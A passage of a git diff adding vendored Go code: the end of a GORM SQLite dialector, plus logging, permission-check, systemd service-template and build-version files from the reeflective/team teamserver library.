+ if limit, ok := c.Expression.(clause.Limit); ok {
+ var lmt = -1
+ if limit.Limit != nil && *limit.Limit >= 0 {
+ lmt = *limit.Limit
+ }
+ if lmt >= 0 || limit.Offset > 0 {
+ builder.WriteString("LIMIT ")
+ builder.WriteString(strconv.Itoa(lmt))
+ }
+ if limit.Offset > 0 {
+ builder.WriteString(" OFFSET ")
+ builder.WriteString(strconv.Itoa(limit.Offset))
+ }
+ }
+ },
+ "FOR": func(c clause.Clause, builder clause.Builder) {
+ if _, ok := c.Expression.(clause.Locking); ok {
+ // SQLite3 does not support row-level locking.
+ return
+ }
+ c.Build(builder)
+ },
+ }
+}
+
+func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression {
+ if field.AutoIncrement {
+ return clause.Expr{SQL: "NULL"}
+ }
+
+ // doesn't work, will raise error
+ return clause.Expr{SQL: "DEFAULT"}
+}
+
+func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator {
+ return Migrator{migrator.Migrator{Config: migrator.Config{
+ DB: db,
+ Dialector: dialector,
+ CreateIndexAfterCreateTable: true,
+ }}}
+}
+
+func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) {
+ writer.WriteByte('?')
+}
+
+func (dialector Dialector) QuoteTo(writer clause.Writer, str string) {
+ writer.WriteByte('`')
+ if strings.Contains(str, ".") {
+ for idx, str := range strings.Split(str, ".") {
+ if idx > 0 {
+ writer.WriteString(".`")
+ }
+ writer.WriteString(str)
+ writer.WriteByte('`')
+ }
+ } else {
+ writer.WriteString(str)
+ writer.WriteByte('`')
+ }
+}
+
+func (dialector Dialector) Explain(sql string, vars ...interface{}) string {
+ return logger.ExplainSQL(sql, nil, `"`, vars...)
+}
+
+func (dialector Dialector) DataTypeOf(field *schema.Field) string {
+ switch field.DataType {
+ case schema.Bool:
+ return "numeric"
+ case schema.Int, schema.Uint:
+ if field.AutoIncrement && !field.PrimaryKey {
+ // https://www.sqlite.org/autoinc.html
+ return "integer PRIMARY KEY AUTOINCREMENT"
+ } else {
+ return "integer"
+ }
+ case schema.Float:
+ return "real"
+ case schema.String:
+ return "text"
+ case schema.Time:
+ return "datetime"
+ case schema.Bytes:
+ return "blob"
+ }
+
+ return string(field.DataType)
+}
+
+func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error {
+ tx.Exec("SAVEPOINT " + name)
+ return nil
+}
+
+func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error {
+ tx.Exec("ROLLBACK TO SAVEPOINT " + name)
+ return nil
+}
+
+func compareVersion(version1, version2 string) int {
+ n, m := len(version1), len(version2)
+ i, j := 0, 0
+ for i < n || j < m {
+ x := 0
+ for ; i < n && version1[i] != '.'; i++ {
+ x = x*10 + int(version1[i]-'0')
+ }
+ i++
+ y := 0
+ for ; j < m && version2[j] != '.'; j++ {
+ y = y*10 + int(version2[j]-'0')
+ }
+ j++
+ if x > y {
+ return 1
+ }
+ if x < y {
+ return -1
+ }
+ }
+ return 0
+}
diff --git a/vendor/github.com/reeflective/team/internal/log/cli.go b/vendor/github.com/reeflective/team/internal/log/cli.go
new file mode 100644
index 0000000000..5c6963fe4d
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/log/cli.go
@@ -0,0 +1,302 @@
+package log
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "strings"
+
+ "github.com/rsteube/carapace/pkg/style"
+ "github.com/sirupsen/logrus"
+)
+
+// Text effects.
+const (
+ sgrStart = "\x1b["
+ fg = "38;05;"
+ bg = "48;05;"
+ sgrEnd = "m"
+)
+
+const (
+ fieldTimestamp = "timestamp"
+ fieldPackage = "logger"
+ fieldMessage = "message"
+
+ minimumPackagePad = 11
+)
+
+// PackageFieldKey is used to identify the name of the package
+// specified by teamclients and teamservers named loggers.
+const PackageFieldKey = "teamserver_pkg"
+
+// stdioHook combines a stdout hook (info/debug/trace),
+// and a stderr hook (warn/error/fatal/panic).
+type stdioHook struct {
+ logger *logrus.Logger
+}
+
+func newStdioHook() *stdioHook {
+ hook := &stdioHook{
+ logger: NewStdio(logrus.WarnLevel),
+ }
+
+ return hook
+}
+
+// The stdout hooks only outputs info, debug and trace.
+func (hook *stdioHook) Levels() []logrus.Level {
+ return logrus.AllLevels
+}
+
+// Fire - Implements the fire method of the Logrus hook.
+func (hook *stdioHook) Fire(entry *logrus.Entry) error {
+ switch entry.Level {
+ case logrus.PanicLevel:
+ hook.logger.Panic(entry.Message)
+ case logrus.FatalLevel:
+ hook.logger.Fatal(entry.Message)
+ case logrus.ErrorLevel:
+ hook.logger.Error(entry.Message)
+ case logrus.WarnLevel:
+ hook.logger.Warn(entry.Message)
+ case logrus.InfoLevel:
+ hook.logger.Info(entry.Message)
+ case logrus.DebugLevel:
+ hook.logger.Debug(entry.Message)
+ case logrus.TraceLevel:
+ hook.logger.Trace(entry.Message)
+ }
+
+ return nil
+}
+
+func newLoggerStdout() *stdoutHook {
+ stdLogger := logrus.New()
+ stdLogger.SetReportCaller(true)
+ stdLogger.Out = os.Stdout
+
+ stdLogger.Formatter = &stdoutHook{
+ DisableColors: false,
+ ShowTimestamp: false,
+ Colors: defaultFieldsFormat(),
+ }
+
+ hook := &stdoutHook{
+ logger: stdLogger,
+ }
+
+ return hook
+}
+
+// stderrHook only logs info events and less.
+type stdoutHook struct {
+ DisableColors bool
+ ShowTimestamp bool
+ TimestampFormat string
+ Colors map[string]string
+ logger *logrus.Logger
+}
+
+// The stdout hooks only outputs info, debug and trace.
+func (hook *stdoutHook) Levels() []logrus.Level {
+ return []logrus.Level{
+ logrus.InfoLevel,
+ logrus.DebugLevel,
+ logrus.TraceLevel,
+ }
+}
+
+// Fire - Implements the fire method of the Logrus hook.
+func (hook *stdoutHook) Fire(entry *logrus.Entry) error {
+ switch entry.Level {
+ case logrus.PanicLevel:
+ hook.logger.Panic(entry.Message)
+ case logrus.FatalLevel:
+ hook.logger.Fatal(entry.Message)
+ case logrus.ErrorLevel:
+ hook.logger.Error(entry.Message)
+ case logrus.WarnLevel:
+ hook.logger.Warn(entry.Message)
+ case logrus.InfoLevel:
+ hook.logger.Info(entry.Message)
+ case logrus.DebugLevel:
+ hook.logger.Debug(entry.Message)
+ case logrus.TraceLevel:
+ hook.logger.Trace(entry.Message)
+ }
+
+ return nil
+}
+
+// Format is a custom formatter for all stdout/text logs, with better format and coloring.
+func (hook *stdoutHook) Format(entry *logrus.Entry) ([]byte, error) {
+ // Basic information.
+ sign, signColor := hook.getLevelFieldColor(entry.Level)
+ levelLog := fmt.Sprintf("%s%s%s", color(signColor), sign, color(style.Default))
+
+ timestamp := entry.Time.Format(hook.TimestampFormat)
+ timestampLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldTimestamp]), timestamp, color(style.Default))
+
+ var pkgLogF string
+
+ pkg := entry.Data[PackageFieldKey]
+ if pkg != nil {
+ pkgLog := fmt.Sprintf(" %v ", pkg)
+ pkgLog = fmt.Sprintf("%-*s", minimumPackagePad, pkgLog)
+ pkgLogF = strings.ReplaceAll(pkgLog, fmt.Sprintf("%s", pkg), fmt.Sprintf("%s%s%s", color(hook.Colors[fieldPackage]), pkg, color(style.Default)))
+ }
+
+ // Always try to unwrap the error at least once, and colorize it.
+ message := entry.Message
+ if err := errors.Unwrap(errors.New(message)); err != nil {
+ if err.Error() != message {
+ message = color(style.Red) + message + color(style.Of(style.Default, style.White)) + err.Error() + color(style.Default)
+ }
+ }
+
+ messageLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldMessage]), message, color(style.Default))
+
+ // Assemble the log message
+ var logMessage string
+
+ if hook.ShowTimestamp {
+ logMessage += timestampLog + " "
+ }
+
+ logMessage += pkgLogF + " "
+ logMessage += levelLog + " "
+ logMessage += messageLog + "\n"
+
+ return []byte(logMessage), nil
+}
+
+func (hook *stdoutHook) getLevelFieldColor(level logrus.Level) (string, string) {
+ // Builtin configurations.
+ signs := defaultLevelFields()
+ colors := defaultLevelFieldsColored()
+
+ if sign, ok := signs[level]; ok {
+ if color, ok := colors[sign]; ok {
+ return sign, color
+ }
+
+ return sign, style.Default
+ }
+
+ return signs[logrus.InfoLevel], style.Default
+}
+
+// stderrHook only logs warning events and worst.
+type stderrHook struct {
+ DisableColors bool
+ ShowTimestamp bool
+ TimestampFormat string
+ Colors map[string]string
+ logger *logrus.Logger
+}
+
+func newLoggerStderr() *stderrHook {
+ stdLogger := logrus.New()
+ stdLogger.SetLevel(logrus.WarnLevel)
+ stdLogger.SetReportCaller(true)
+ stdLogger.Out = os.Stderr
+
+ stdLogger.Formatter = &stdoutHook{
+ DisableColors: false,
+ ShowTimestamp: false,
+ Colors: defaultFieldsFormat(),
+ }
+
+ hook := &stderrHook{
+ logger: stdLogger,
+ }
+
+ return hook
+}
+
+// Fire - Implements the fire method of the Logrus hook.
+func (hook *stderrHook) Fire(entry *logrus.Entry) error {
+ switch entry.Level {
+ case logrus.PanicLevel:
+ hook.logger.Panic(entry.Message)
+ case logrus.FatalLevel:
+ hook.logger.Fatal(entry.Message)
+ case logrus.ErrorLevel:
+ hook.logger.Error(entry.Message)
+ case logrus.WarnLevel:
+ hook.logger.Warn(entry.Message)
+ case logrus.InfoLevel:
+ hook.logger.Info(entry.Message)
+ case logrus.DebugLevel:
+ hook.logger.Debug(entry.Message)
+ case logrus.TraceLevel:
+ hook.logger.Trace(entry.Message)
+ }
+
+ return nil
+}
+
+// The stderr hooks only outputs errors and worst.
+func (hook *stderrHook) Levels() []logrus.Level {
+ return []logrus.Level{
+ logrus.WarnLevel,
+ logrus.ErrorLevel,
+ logrus.FatalLevel,
+ logrus.PanicLevel,
+ }
+}
+
+func defaultFieldsFormat() map[string]string {
+ return map[string]string{
+ fieldTimestamp: style.BrightBlack,
+ fieldPackage: style.Dim,
+ fieldMessage: style.BrightWhite,
+ }
+}
+
+func defaultLevelFields() map[logrus.Level]string {
+ return map[logrus.Level]string{
+ logrus.TraceLevel: "▪",
+ logrus.DebugLevel: "▫",
+ logrus.InfoLevel: "○",
+ logrus.WarnLevel: "▲",
+ logrus.ErrorLevel: "✖",
+ logrus.FatalLevel: "☠",
+ logrus.PanicLevel: "!!",
+ }
+}
+
+func defaultLevelFieldsColored() map[string]string {
+ return map[string]string{
+ "▪": style.BrightBlack,
+ "▫": style.Dim,
+ "○": style.BrightBlue,
+ "▲": style.Yellow,
+ "✖": style.BrightRed,
+ "☠": style.BgBrightCyan,
+ "!!": style.BgBrightMagenta,
+ }
+}
+
+func color(color string) string {
+ return sgrStart + style.SGR(color) + sgrEnd
+}
diff --git a/vendor/github.com/reeflective/team/internal/log/db.go b/vendor/github.com/reeflective/team/internal/log/db.go
new file mode 100644
index 0000000000..3b43e1a4ec
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/log/db.go
@@ -0,0 +1,63 @@
+package log
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "strings"
+ "time"
+
+ "github.com/sirupsen/logrus"
+ "gorm.io/gorm/logger"
+)
+
+// gorm middleware for database queries/results logging.
+type gormWriter struct {
+ log *logrus.Entry
+}
+
+func (w gormWriter) Printf(format string, args ...interface{}) {
+ w.log.Printf(format, args...)
+}
+
+// NewDatabase returns a logger suitable as logrus database logging middleware.
+func NewDatabase(log *logrus.Entry, level string) logger.Interface {
+ logConfig := logger.Config{
+ SlowThreshold: time.Second,
+ Colorful: true,
+ LogLevel: logger.Info,
+ }
+ switch strings.ToLower(level) {
+ case "silent":
+ logConfig.LogLevel = logger.Silent
+ case "err":
+ fallthrough
+ case "error":
+ logConfig.LogLevel = logger.Error
+ case "warning":
+ fallthrough
+ case "warn":
+ logConfig.LogLevel = logger.Warn
+ case "info":
+ fallthrough
+ default:
+ logConfig.LogLevel = logger.Info
+ }
+
+ return logger.New(gormWriter{log: log}, logConfig)
+}
diff --git a/vendor/github.com/reeflective/team/internal/log/log.go b/vendor/github.com/reeflective/team/internal/log/log.go
new file mode 100644
index 0000000000..b31cccf587
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/log/log.go
@@ -0,0 +1,176 @@
+package log
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "io"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/sirupsen/logrus"
+)
+
+const (
+ // ClientLogFileExt is used as extension by all main teamclients log files by default.
+ ClientLogFileExt = "teamclient.log"
+ // ServerLogFileExt is used as extension by all teamservers core log files by default.
+ ServerLogFileExt = "teamserver.log"
+)
+
+// Init is the main constructor that is (and should be) used for teamserver and teamclient logging.
+// It hooks a normal logger with a sublogger writing to a file in text version, and another logger
+// writing to stdout/stderr with enhanced formatting/coloring support.
+func Init(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, *logrus.Logger, error) {
+ logFile, err := fs.OpenFile(file, assets.FileWriteOpenMode, assets.FileWritePerm)
+ if err != nil {
+ return nil, nil, fmt.Errorf("Failed to open log file %w", err)
+ }
+
+ // Text-format logger, writing to file.
+ textLogger := logrus.New()
+ textLogger.Formatter = &stdoutHook{
+ DisableColors: false,
+ ShowTimestamp: false,
+ Colors: defaultFieldsFormat(),
+ }
+ textLogger.Out = io.Discard
+
+ textLogger.SetLevel(logrus.InfoLevel)
+ textLogger.SetReportCaller(true)
+
+ // File output
+ textLogger.AddHook(newTxtHook(logFile, level, textLogger))
+
+ // Stdout/err output, with special formatting.
+ stdioHook := newStdioHook()
+ textLogger.AddHook(stdioHook)
+
+ return textLogger, stdioHook.logger, nil
+}
+
+// NewStdio returns a logger configured to output its events to the system stdio:
+// - Info/Debug/Trace logs are written to os.Stdout.
+// - Warn/Error/Fatal/Panic are written to os.Stderr.
+func NewStdio(level logrus.Level) *logrus.Logger {
+ stdLogger := logrus.New()
+ stdLogger.Formatter = &stdoutHook{
+ DisableColors: false,
+ ShowTimestamp: false,
+ Colors: defaultFieldsFormat(),
+ }
+
+ stdLogger.SetLevel(level)
+ stdLogger.SetReportCaller(true)
+ stdLogger.Out = io.Discard
+
+ // Info/debug/trace is given to a stdout logger.
+ stdoutHook := newLoggerStdout()
+ stdLogger.AddHook(stdoutHook)
+
+ // Warn/error/panics/fatals are given to stderr.
+ stderrHook := newLoggerStderr()
+ stdLogger.AddHook(stderrHook)
+
+ return stdLogger
+}
+
+// NewJSON returns a logger writing to the central log file of the teamserver, JSON-encoded.
+func NewJSON(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, error) {
+ rootLogger := logrus.New()
+ rootLogger.Formatter = &logrus.JSONFormatter{}
+ jsonFilePath := fmt.Sprintf("%s.json", file)
+
+ logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm)
+ if err != nil {
+ return nil, fmt.Errorf("Failed to open log file %w", err)
+ }
+
+ rootLogger.Out = logFile
+ rootLogger.SetLevel(logrus.InfoLevel)
+ rootLogger.SetReportCaller(true)
+ rootLogger.AddHook(newTxtHook(logFile, level, rootLogger))
+
+ return rootLogger, nil
+}
+
+// NewAudit returns a logger writing to an audit file in JSON format.
+func NewAudit(fs *assets.FS, logDir string) (*logrus.Logger, error) {
+ auditLogger := logrus.New()
+ auditLogger.Formatter = &logrus.JSONFormatter{}
+ jsonFilePath := filepath.Join(logDir, "audit.json")
+
+ logFile, err := fs.OpenFile(jsonFilePath, assets.FileWriteOpenMode, assets.FileWritePerm)
+ if err != nil {
+ return nil, fmt.Errorf("Failed to open log file %w", err)
+ }
+
+ auditLogger.Out = logFile
+ auditLogger.SetLevel(logrus.DebugLevel)
+
+ return auditLogger, nil
+}
+
+// NewText returns a new logger writing to a given file.
+// The formatting is enhanced for informative debugging and call
+// stack reporting, but without any special coloring/formatting.
+func NewText(file io.Writer) (*logrus.Logger, error) {
+ txtLogger := logrus.New()
+ txtLogger.Formatter = &logrus.TextFormatter{
+ ForceColors: true,
+ FullTimestamp: true,
+ }
+
+ txtLogger.Out = file
+ txtLogger.SetLevel(logrus.InfoLevel)
+
+ return txtLogger, nil
+}
+
+// LevelFrom - returns level from int.
+func LevelFrom(level int) logrus.Level {
+ switch level {
+ case int(logrus.PanicLevel):
+ return logrus.PanicLevel
+ case int(logrus.FatalLevel):
+ return logrus.FatalLevel
+ case int(logrus.ErrorLevel):
+ return logrus.ErrorLevel
+ case int(logrus.WarnLevel):
+ return logrus.WarnLevel
+ case int(logrus.InfoLevel):
+ return logrus.InfoLevel
+ case int(logrus.DebugLevel):
+ return logrus.DebugLevel
+ case int(logrus.TraceLevel):
+ return logrus.TraceLevel
+ }
+
+ return logrus.DebugLevel
+}
+
+// FileName take a filename without extension and adds
+// the corresponding teamserver/teamclient logfile extension.
+func FileName(name string, server bool) string {
+ if server {
+ return fmt.Sprintf("%s.%s", name, ServerLogFileExt)
+ }
+
+ return fmt.Sprintf("%s.%s", name, ClientLogFileExt)
+}
diff --git a/vendor/github.com/reeflective/team/internal/log/perms.go b/vendor/github.com/reeflective/team/internal/log/perms.go
new file mode 100644
index 0000000000..2eea129c26
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/log/perms.go
@@ -0,0 +1,60 @@
+//go:build !windows
+// +build !windows
+
+package log
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "os"
+ "syscall"
+)
+
+// IsWritable checks that the given path can be created.
+func IsWritable(path string) (isWritable bool, err error) {
+ isWritable = false
+ info, err := os.Stat(path)
+ if err != nil {
+ return
+ }
+
+ if !info.IsDir() {
+ return false, fmt.Errorf("Path isn't a directory")
+ }
+
+ // Check if the user bit is enabled in file permission
+ if info.Mode().Perm()&(1<<(uint(7))) == 0 {
+ return false, fmt.Errorf("Write permission bit is not set on this file for user")
+ }
+
+ var stat syscall.Stat_t
+ if err = syscall.Stat(path, &stat); err != nil {
+ return false, fmt.Errorf("Unable to get stat")
+ }
+
+ err = nil
+ if uint32(os.Geteuid()) != stat.Uid {
+ return isWritable, fmt.Errorf("User doesn't have permission to write to this directory")
+ }
+
+ isWritable = true
+
+ return
+}
diff --git a/vendor/github.com/reeflective/team/internal/log/perms_windows.go b/vendor/github.com/reeflective/team/internal/log/perms_windows.go
new file mode 100644
index 0000000000..1ccb9bd5cf
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/log/perms_windows.go
@@ -0,0 +1,46 @@
+package log
+
+/*
+ team - Embeded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "os"
+)
+
+// IsWritable checks that the given path can be created, on Windows.
+func IsWritable(path string) (isWritable bool, err error) {
+ isWritable = false
+ info, err := os.Stat(path)
+ if err != nil {
+ return false, err
+ }
+
+ err = nil
+ if !info.IsDir() {
+ return false, fmt.Errorf("Path isn't a directory")
+ }
+
+ // Check if the user bit is enabled in file permission
+ if info.Mode().Perm()&(1<<(uint(7))) == 0 {
+ return false, fmt.Errorf("Write permission bit is not set on this file for user")
+ }
+
+ isWritable = true
+ return
+}
diff --git a/vendor/github.com/reeflective/team/internal/log/text.go b/vendor/github.com/reeflective/team/internal/log/text.go
new file mode 100644
index 0000000000..e4a81ce801
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/log/text.go
@@ -0,0 +1,97 @@
+package log
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "errors"
+ "io"
+ "path/filepath"
+ "strings"
+
+ "github.com/sirupsen/logrus"
+)
+
+// txtHook - Hook in a textual version of the logs.
+type txtHook struct {
+ Name string
+ app string
+ logger *logrus.Logger
+}
+
+// newTxtHook - returns a new txt hook.
+func newTxtHook(fs io.Writer, level logrus.Level, log *logrus.Logger) *txtHook {
+ hook := &txtHook{}
+
+ logger, err := NewText(fs)
+ if err != nil {
+ log.Error(err)
+ }
+
+ hook.logger = logger
+ hook.logger.SetLevel(level)
+
+ return hook
+}
+
+// Fire - Implements the fire method of the Logrus hook.
+func (hook *txtHook) Fire(entry *logrus.Entry) error {
+ if hook.logger == nil {
+ return errors.New("no txt logger")
+ }
+
+ // Determine the caller (filename/line number)
+ srcFile := ""
+ if entry.HasCaller() {
+ wiregostIndex := strings.Index(entry.Caller.File, hook.app)
+ srcFile = entry.Caller.File
+ if wiregostIndex != -1 {
+ srcFile = srcFile[wiregostIndex:]
+ }
+ }
+
+ // Tream the useless prefix path, containing where it was compiled on the host...
+ paths := strings.Split(srcFile, "/mod/")
+ if len(paths) > 1 && paths[1] != "" {
+ srcFile = filepath.Join(paths[1:]...)
+ }
+
+ switch entry.Level {
+ case logrus.PanicLevel:
+ hook.logger.Panicf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ case logrus.FatalLevel:
+ hook.logger.Fatalf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ case logrus.ErrorLevel:
+ hook.logger.Errorf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ case logrus.WarnLevel:
+ hook.logger.Warnf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ case logrus.InfoLevel:
+ hook.logger.Infof(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ case logrus.DebugLevel:
+ hook.logger.Debugf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ case logrus.TraceLevel:
+ hook.logger.Tracef(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message)
+ }
+
+ return nil
+}
+
+// Levels - Hook all levels.
+func (hook *txtHook) Levels() []logrus.Level {
+ return logrus.AllLevels
+}
diff --git a/vendor/github.com/reeflective/team/internal/systemd/config.go b/vendor/github.com/reeflective/team/internal/systemd/config.go
new file mode 100644
index 0000000000..585f6e3270
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/systemd/config.go
@@ -0,0 +1,112 @@
+package systemd
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "bytes"
+ // Embed our example teamserver.service file.
+ _ "embed"
+ "fmt"
+ "log"
+ "os"
+ "os/user"
+ "strings"
+ "text/template"
+
+ "github.com/reeflective/team/internal/version"
+)
+
+// Config is a stub to generate systemd configuration files.
+type Config struct {
+ User string // User to configure systemd for, default is current user.
+ Binpath string // Path to binary
+ Args []string // The command is the position of the daemon command in the application command tree.
+}
+
+//go:embed teamserver.service
+var systemdServiceTemplate string
+
+// NewFrom returns a new templated systemd configuration file.
+func NewFrom(name string, userCfg *Config) string {
+ cfg := NewDefaultConfig()
+
+ if userCfg != nil {
+ cfg.User = userCfg.User
+ cfg.Binpath = userCfg.Binpath
+ cfg.Args = userCfg.Args
+ }
+
+ // Prepare all values before running templates
+ ver := version.Semantic()
+ version := fmt.Sprintf("%d.%d.%d", ver[0], ver[1], ver[2])
+ desc := fmt.Sprintf("%s Teamserver daemon (v%s)", name, version)
+
+ systemdUser := cfg.User
+ if systemdUser == "" {
+ systemdUser = "root"
+ }
+
+ // Command
+ command := strings.Join(cfg.Args, " ")
+
+ TemplateValues := struct {
+ Application string
+ Description string
+ User string
+ Command string
+ }{
+ Application: name,
+ Description: desc,
+ User: systemdUser,
+ Command: command,
+ }
+
+ var config bytes.Buffer
+
+ templ := template.New(name)
+ parsed, err := templ.Parse(systemdServiceTemplate)
+ if err != nil {
+ log.Fatalf("Failed to parse: %s", err)
+ }
+
+ parsed.Execute(&config, TemplateValues)
+
+ systemdFile := config.String()
+
+ return systemdFile
+}
+
+// NewDefaultConfig returns a default Systemd service file configuration.
+func NewDefaultConfig() *Config {
+ c := &Config{}
+
+ user, _ := user.Current()
+ if user != nil {
+ c.User = user.Username
+ }
+
+ currentPath, err := os.Executable()
+ if err != nil {
+ return c
+ }
+
+ c.Binpath = currentPath
+
+ return c
+}
diff --git a/vendor/github.com/reeflective/team/internal/systemd/teamserver.service b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service
new file mode 100644
index 0000000000..eecc056312
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service
@@ -0,0 +1,17 @@
+## [ {{.Application}} Systemd Service ]
+
+[Unit]
+Description={{.Description}}
+After=network.target
+StartLimitIntervalSec=0
+
+[Service]
+Type=simple
+Restart=on-failure
+RestartSec=3
+User={{.User}}
+ExecStart={{.Command}}
+
+[Install]
+WantedBy=multi-user.target
+
diff --git a/vendor/github.com/reeflective/team/internal/version/version.go b/vendor/github.com/reeflective/team/internal/version/version.go
new file mode 100644
index 0000000000..a6a83ae3c3
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/version/version.go
@@ -0,0 +1,111 @@
+package version
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "errors"
+ "runtime/debug"
+ "strconv"
+ "strings"
+ "time"
+)
+
+const (
+ semVerLen = 3
+)
+
+// ErrNoBuildInfo is an error indicating that we could not fetch any binary build info.
+var ErrNoBuildInfo = errors.New("No binary build info")
+
+// Semantic - Get the structured semantic
+// version of the application binary.
+func Semantic() []int {
+ semVer := make([]int, semVerLen)
+
+ info, ok := debug.ReadBuildInfo()
+ if !ok {
+ return semVer
+ }
+
+ version := info.Main.Version
+
+ for i, part := range strings.Split(version, ".") {
+ number, _ := strconv.ParseInt(part, 10, 32)
+ semVer[i] = int(number)
+ }
+
+ return semVer
+}
+
+// Compiled - Get time this binary was compiled.
+func Compiled() (time.Time, error) {
+ info, ok := debug.ReadBuildInfo()
+ if !ok {
+ return time.Unix(0, 0), ErrNoBuildInfo
+ }
+
+ var compiledAt string
+
+ for _, set := range info.Settings {
+ if set.Key == "vcs.time" {
+ compiledAt = set.Value
+ break
+ }
+ }
+
+ compiled, err := strconv.ParseInt(compiledAt, 10, 64)
+ if err != nil {
+ return time.Unix(0, 0), err
+ }
+
+ return time.Unix(compiled, 0), nil
+}
+
+// GitCommit returns the last commit hash.
+func GitCommit() string {
+ info, ok := debug.ReadBuildInfo()
+ if !ok {
+ return ""
+ }
+
+ for _, set := range info.Settings {
+ if set.Key == "vcs.revision" {
